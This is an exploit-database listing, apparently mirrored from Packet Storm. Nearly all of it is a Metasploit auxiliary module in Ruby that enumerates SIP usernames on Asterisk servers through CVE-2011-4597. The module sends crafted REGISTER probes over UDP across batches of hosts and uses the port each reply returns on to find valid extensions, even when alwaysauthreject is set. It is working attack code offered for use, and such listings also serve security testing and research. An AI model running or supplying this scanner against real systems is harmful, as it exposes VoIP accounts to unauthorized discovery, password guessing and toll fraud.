Lucene search
K

SIP Username Enumerator For Asterisk

🗓️ 23 Dec 2011 00:00:00Reported by Ben WilliamsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 52 Views

SIP Username Enumerator for Asterisk (UDP) Security Advisory AST-2011-013, CVE-2011-4597. Numeric peer usernames register scan. Works with alwaysauthreject=yes. Source port cannot be 5060

Related
Code
`require 'msf/core'  
  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'SIP Username Enumerator for Asterisk (UDP) Security Advisory AST-2011-013, CVE-2011-4597',  
'Version' => '$Revision: 1 $',  
'Description' => 'REGISTER scan for numeric peer usernames having a nat setting different to global sip nat setting. ' <<  
'Works even when alwaysauthreject=yes. For this exploit to work, the source port cannot be 5060. ' <<  
'For more details see Asterisk Project Security Advisory - AST-2011-013',  
'Author' => 'Ben Williams',  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),  
OptInt.new('MINEXT', [true, 'Starting extension',0]),  
OptInt.new('MAXEXT', [true, 'Ending extension', 9999]),  
OptInt.new('PADLEN', [true, 'Cero padding maximum length', 4]),  
Opt::RPORT(5060),  
Opt::CHOST,  
Opt::CPORT(5070) # Source port must *not* be 5060 for this exploit to work.  
], self.class)  
end  
  
  
# Define our batch size  
def run_batch_size  
datastore['BATCHSIZE'].to_i  
end  
  
# Operate on an entire batch of hosts at once  
def run_batch(batch)  
  
begin  
udp_sock = udp_sock_5060 = recv_sock = nil  
idx = 0  
global_nat = ''  
  
  
# SIP responses are either sent back to our source port or to 5060  
# so we need to have two sockets.  
  
# Create an unbound UDP socket if no CHOST is specified, otherwise  
# create a UDP socket bound to CHOST (in order to avail of pivoting)  
udp_sock = Rex::Socket::Udp.create(  
{  
'LocalHost' => datastore['CHOST'] || nil,  
'LocalPort' => datastore['CPORT'].to_i,  
'Context' => { 'Msf' => framework, 'MsfExploit' => self }  
}  
)  
add_socket(udp_sock)  
  
udp_sock_5060 = Rex::Socket::Udp.create(  
{  
'LocalHost' => datastore['CHOST'] || nil,  
'LocalPort' => 5060,  
'Context' => { 'Msf' => framework, 'MsfExploit' => self }  
}  
)  
add_socket(udp_sock_5060)  
  
mini = datastore['MINEXT']  
maxi = datastore['MAXEXT']  
  
  
batch.each do |ip|  
# First create a probe for a nonexistent user to test what the global nat setting is.  
# If the response arrives back on the same socket, then global nat=yes,   
# and the scanner will proceed to find devices that have nat=no.  
# If the response arrives back on 5060, then global nat=no (default),  
# and the scanner will proceed to find devices that have nat=yes.  
data = create_probe(ip,"thisusercantexist")  
begin  
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)  
rescue ::Interrupt  
raise $!  
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused  
nil  
end  
  
r = udp_sock.recvfrom(65535, 1) # returns [data,host,port]  
if r[1]  
global_nat = "yes"  
else  
r = udp_sock_5060.recvfrom(65535, 1)  
if r[1]  
global_nat = "no"  
end  
end  
  
if global_nat == ''  
print_error("No response from server for initial test probe.")  
return  
else  
print_status("Asterisk appears to have global nat=#{global_nat}.")  
end  
  
recv_sock = (global_nat == "no") ? udp_sock : udp_sock_5060  
  
for i in (mini..maxi)  
testext = padnum(i,datastore['PADLEN'])  
  
data = create_probe(ip,testext)  
  
begin  
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)  
rescue ::Interrupt  
raise $!  
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused  
nil  
end  
  
if (idx % 10 == 0)  
while (r = recv_sock.recvfrom(65535, 0.02) and r[1])  
parse_reply(r)  
end  
end  
  
idx += 1  
end  
end  
  
while (r = recv_sock.recvfrom(65535, 3) and r[1])  
parse_reply(r)  
end  
  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("Unknown error: #{e.class} #{e}")  
ensure  
udp_sock.close if udp_sock  
udp_sock_5060.close if udp_sock_5060  
end  
end  
  
#  
# The response parsers  
#  
def parse_reply(pkt)  
  
return if not pkt[1]  
  
if(pkt[1] =~ /^::ffff:/)  
pkt[1] = pkt[1].sub(/^::ffff:/, '')  
end  
  
resp = pkt[0].split(/\s+/)[1]  
return if resp == '100' # ignore provisional responses, we will get a 401 next packet.  
  
rhost,rport = pkt[1], pkt[2]  
  
if(pkt[0] =~ /^To\:\s*(.*)$/i)  
testn = "#{$1.strip}".split(';')[0]  
end  
  
print_status("Found user: #{testn} [Auth]")  
#Add Report  
report_note(  
:host => rhost,  
:proto => 'udp',  
:sname => 'sip',  
:port => rport,  
:type => "Found user: #{testn} [Auth]",  
:data => "Found user: #{testn} [Auth]"  
)  
end  
  
def create_probe(ip,toext)  
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)  
shost = Rex::Socket.source_address(ip)  
  
data = "REGISTER sip:#{toext}@#{ip} SIP/2.0\r\n"  
data << "Via: SIP/2.0/UDP #{shost};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"  
data << "From: #{toext} <sip:#{suser}@#{shost}>;tag=70c00e8c\r\n"  
data << "To: #{toext} <sip:#{toext}@#{ip}>\r\n"  
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"  
data << "CSeq: 101 REGISTER\r\n"  
data << "Contact: <sip:#{suser}@#{shost}>\r\n"  
data << "Content-Length: 0\r\n"  
data << "Max-Forwards: 20\r\n"  
end  
  
def padnum(num,padding)  
if padding >= num.to_s.length  
('0'*(padding-num.to_s.length)) << num.to_s  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation